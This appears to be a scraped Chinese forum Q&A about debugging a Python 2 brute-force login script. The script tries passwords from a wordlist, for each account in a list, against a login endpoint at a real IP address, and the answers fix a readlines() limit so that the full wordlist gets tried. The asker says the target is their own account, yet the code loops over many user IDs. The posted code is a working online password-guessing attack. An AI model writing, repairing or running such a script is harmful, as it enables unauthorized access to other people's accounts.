python暴力破解密码的问题,python暴力破解密码,我用自己的账号去尝试暴力
python暴力破解密码的问题,python暴力破解密码,我用自己的账号去尝试暴力
我用自己的账号去尝试暴力破解,候选密码保存在本地txt文件。发现当候选密码较少时(大概几百几千个),可以正确找到密码,当数据较大(大概几十万个)的时候就找不到正确的密码,但是正确的密码就在文件里面了,这是为什么?
def try_pwd(userid,pwd): #提交数据函数 myurl = 'http://222.200.98.147/login!doLogin.action' postdata = urllib.urlencode({'account':userid, 'pwd':pwd, 'verifycode':''}) header = {'User-Agent':'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'} request = urllib2.Request(url=myurl, data=postdata, headers=header) try: acp_login = urllib2.urlopen(request,timeout=10) except urllib2.HTTPError,e: print e.reason,e.code re_info = acp_login.read() if re_info == '{"msg":"/login!welcome.action","status":"y"}': print 'ID:',userid print 'password:', pwd isfind = True else:# print 'None' isfind = False return isfind start_time = time.time()print 'Start...'userID_file = open('e:\\userID.txt','r') #userID.txt为账号文件for userID in userID_file.readlines(100): userID = userID.strip('\n') pwd_file = open('e:\\pwd2.txt','r') #pwd2.txt为密码文件 for t_pwd in pwd_file.readlines(10000): t_pwd = t_pwd.strip('\r\n') isfind = try_pwd(userid=userID,pwd= t_pwd) if isfind == True: break if isfind == False: print userID, u'没有匹配' pwd_file.close() userID_file.close()end_time = time.time()print "total time: ",end_time-start_time
1.请贴代码
2.你确定你遍历完了所有密码吗
readlines(hint=-1)
Read and return a list of lines from the stream. hint can be specified to control the number of lines read: no more lines will be read if the total size (in bytes/characters) of all lines so far exceeds hint.
Note that it’s already possible to iterate on file objects using for line in file: ... without calling file.readlines().
https://docs.python.org/3.3/l...
你的代码只读了100行,正确的密码应该在100行以后
刚刚试了一下,去了readlines中的参数,又可以了 ?_?
编橙之家文章,
相关内容
- Windows上Python3 pip安装出现UnicodeDecodeError,,我在通过pi
- pyqt tablewidget,实现一个快速定位到某一行并显示功能,
- python变量作用域的嵌套问题?,python变量嵌套,a=1def f
- python tornado异步方式仍然有阻塞,pythontornado,代码大致如
- Python操作Redis数据库方面的问题,pythonredis,PythonShell上
- python re模块中的 match()和group()疑问,pythonmatch,python re模
- macos x中python是默认就有的吗?,macospython,试了好几台机
- 豆瓣API 40次/分钟的访问限制怎么办,豆瓣api,大家好,
- Netbeans 7.0.0.1安装python插件安装后,启动IDE显示不出界面
- 如何为实时性应用存取经纬度?django mysql,djangomysql,
评论关闭